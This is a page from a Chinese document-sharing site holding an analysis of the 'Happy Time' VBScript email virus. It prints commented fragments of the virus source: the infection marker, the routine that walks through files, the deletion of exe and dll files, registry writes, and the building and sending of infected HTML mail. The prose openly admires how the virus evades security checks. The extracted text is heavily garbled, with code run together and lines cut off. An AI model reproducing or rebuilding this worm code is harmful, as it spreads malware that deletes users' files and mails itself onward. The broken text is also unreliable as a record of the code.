资源描述:
《欢乐时光代码分析》由会员上传分享,免费在线阅读,更多相关内容在工程资料-天天文库。
1、欢乐时光代码分析“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和javascript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(TypeLibrary)成功地避开了安全审核的手段更是令人叹为观止。 下面让我们来看看它藏在快乐的外衣下的是什么吧!**************
2、*欢乐时光***************RemIamsorry!happytimeOnErrorResumeNextMload以上为病毒入口,并加上Iamsorry!happytime的te键值f2=FNext(Of,Od,f1)得到该文件的文件名fext=GetExt(Of,Od,f2)得到该文件扩展名的代号Rp;HelpFileName,f2添加键值IfIsDel(fext)Then如果扩展名代号的第四个字符为1——即0001(exe、dll)f3=f2储存文件名f2=FNext(
3、Of,Od,f2)得到文件的文件名?Rp;HelpFileName,f2写注册表Of.DeleteFilef3删除文件ElseIfLCase(od2)=0Then使用Cint函数强制执行转换,并发邮件TsendElseadds=OgMsend(adds)EndIfEndIfp;Helpp;Help.htmElsemP=Of.GetFile(e(e(p;2.htmEndIfSetpfc=Of.CreateTextFile(n3,True)mt=Sa(1100)创建超文本pfc.L><bodybg
4、color=#007f7fbackground=n1></Body></HTML>mt超文本的内容pfc.CloseRp;Helpp;Help.vbs,True)fc.essageSendHTMLCUS=oeposeUseStationerySN=oeStationeryNameRe,前两个的值为1,后一个指向p;c6lose()document.l(mt)mt=Sa(n)Setfc2=Of.OpenTextFile(S,8)打开文件并在文件末尾进行写爱作fc2.
5、send(mmail)发带毒邮件EndIfEndSub******************************************************************FunctionSc(S)mN=RemIamsorry!happytimeIfInStr(S,mN)>0Then如果读入的文件流中有RemIamsorry!happytimeSc=TrueElseSc=False表示已感染过,返回True,否则为FalseEndIfEndFunction************
6、******************************************************FunctionFNext(Of,Od,S)Dimfpath,fname,fext,T,gfOnErrorResumeNextfname=T=False初始化变量IfOf.FileExists(S)Then如果S存在于当前文件夹中fpath=Of.GetFile(S).ParentFolder得到文件的父目录名fname=S得到文件名ElseIfOf.FolderExists(S)Then不存在于当前文件夹中
7、,则得到目录名fpath=ST=TrueElsefpath=Dnext(Of,)得到当前盘符——即根目录EndIfDoIngf遍历每个文件IfTThenIfGetExt(Of,Od,m)<>Then如果该文件是文件集合中的一员FNext=m则返回该文件名,供调用的函数或过程使用——感染或删除之ExitFunctionEndIfElseIfLCase(m)=LCase(fname)Orfname=Then如果没文件T=TrueEndIfNextf